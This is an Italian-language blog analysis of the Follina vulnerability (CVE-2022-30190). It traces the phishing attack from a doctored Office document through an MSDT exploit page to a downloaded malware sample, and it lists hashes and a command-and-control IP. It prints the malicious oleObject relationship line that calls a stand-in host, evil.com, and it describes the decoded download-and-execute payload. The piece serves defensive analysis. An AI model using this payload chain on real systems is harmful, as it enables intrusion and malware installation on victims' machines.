~/docs/follina.docx

Preambolo

In questi giorni tutta la community di ricercatori in ambito cyber parla di questa nuova vulnerabilità denominata Follina (CVE-2022-30190).

Come è noto a chi è del settore la vulnerabilità sfrutta lo strumento di diagnostica del supporto di Microsoft Windows (MSDT – Microsoft Support Diagnostic Tool) e, per via della sua implementazione, questa può essere sfruttata mediante un documento Office opportunamente modificato allo scopo.

Come funziona

Stage 1: il documento

Il vettore di attacco è sempre il phishing: si riceve una mail dal contenuto più o meno sospetto contenente un allegato Microsoft Office.

I documenti office contengono all’interno della loro struttura un file (word/_rels/document.xml.rels) il quale mappa le relazioni all’interno del file Office (per esempio: tabelle dei caratteri, impostazioni del documento, commenti, note a piè di pagina, definizioni di stile, definizioni di numerazione, etc) con le risorse al di fuori del file stesso, come link e immagini. Per amor di chiarezza faccio un esempio: quando un documento include collegamenti a pagine web, questi vengono aggiunti al file di relazioni document.xml.rels

Fig. 0 – Struttura di un file Microsoft Office di esempio

Andando ad aggiungere al file la direttiva sotto riportata, si mappa quindi una risorsa esterna presente all’URL http://evil.com/exploit.html la quale viene caricata all’apertura del file

<Relationship Id="rId1337" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="mhtml:http://evil.com:8000/exploit.html!x-usc:http://evil.com:8000/exploit.html" TargetMode="External"/>
Stage 2: l’exploit

La prima parte del documento HTML richiamato è composta da una serie di linee di commenti tutte uguali all’interno del tag “script”. Lo scopo di queste strane linee di commento è quello di dare al file una dimensione maggiore di 4096 byte. Qua la prima segnalazione da parte di Rich Warren, il quale ha condiviso un blog di Bill Demirkapi, indicando che esiste una dimensione del buffer “hardcoded in una funzione HTML” che non avrebbe invocato il payload se il file fosse stato di dimensione inferiore ai 4 kilo byte.

Fig. 1 – linee di commento per raggiungere la dimensione di 4096 byte

A seguito è presente la direttiva window.location.href la quale richiama la funzione incriminata ms-msdt con tutti i parametri necessari e, codificato in base 64, il payload atto a scaricare ed eseguire il malware.

Fig. 2 – la direttiva che sfrutta la vulnerabilità MSDT

Andando ad estrapolare la quota parte del codice in base64 e decodificandola, si trovano le direttive in chiaro

Fig. 4 – le direttive decodificate

In ordine:

  1. scarica il file 0524×86110.exe dall’url http://65.20.75.158/ e lo salva nella directory temp dell’utente col nome wstmp.exe
  2. esegue in modalità nascosta il processo rundll32.exe pcwutl.dll per lanciare l’eseguibile scaricato (probabilmente come tecnica di offuscamento in quanto il processo dovrebbe comparire come sotto processo invocato da rundll32. Nota mia: non ne sono sicuro, da investigare)
  3. killa il processo msdt.exe se è in esecuzione
Stage 3: il malware

Il file è noto ai ricercatori, qua il link al portale di Virtustotal dove è ben analizzato.

MD5     : 63d502f3f0771468e72346b6f1112851
SHA-1   : 82b0beb6fff9a90dc40b300ebf1b0ec4977ba8ad
SHA-256 : 5217c2a1802b0b0fe5592f9437cdfd21f87da1b6ebdc917679ed084e40096bfd

Una volta in esecuzione il processo rundll32 (vedi punto 2) apre una connessione verso un IP di Singapore (45.77.45.222) sulla porta 110. Al momento della scrittura dell’articolo questo indirizzo risulta essere ancora attivo.

Note finali

Il problema di questa vulnerabilità di tipo “zero-click” è dovuta al caricamento del template che avviene nel momento dell’apertura del documento indipendentemente dalle impostazioni di sicurezza delle macro oppure potrebbe avvenire mediante una semplice anteprima da esplora risorse. Sebbene inizialmente sembravano soffrirne solo le versione di Microsoft Office 2013 e 2016, Didier Stevens ha dimostrato come anche la versione 2021 ne è affetta (video della PoC).

Come al solito, si raccomanda massima prudenza.

EOF

Rispondi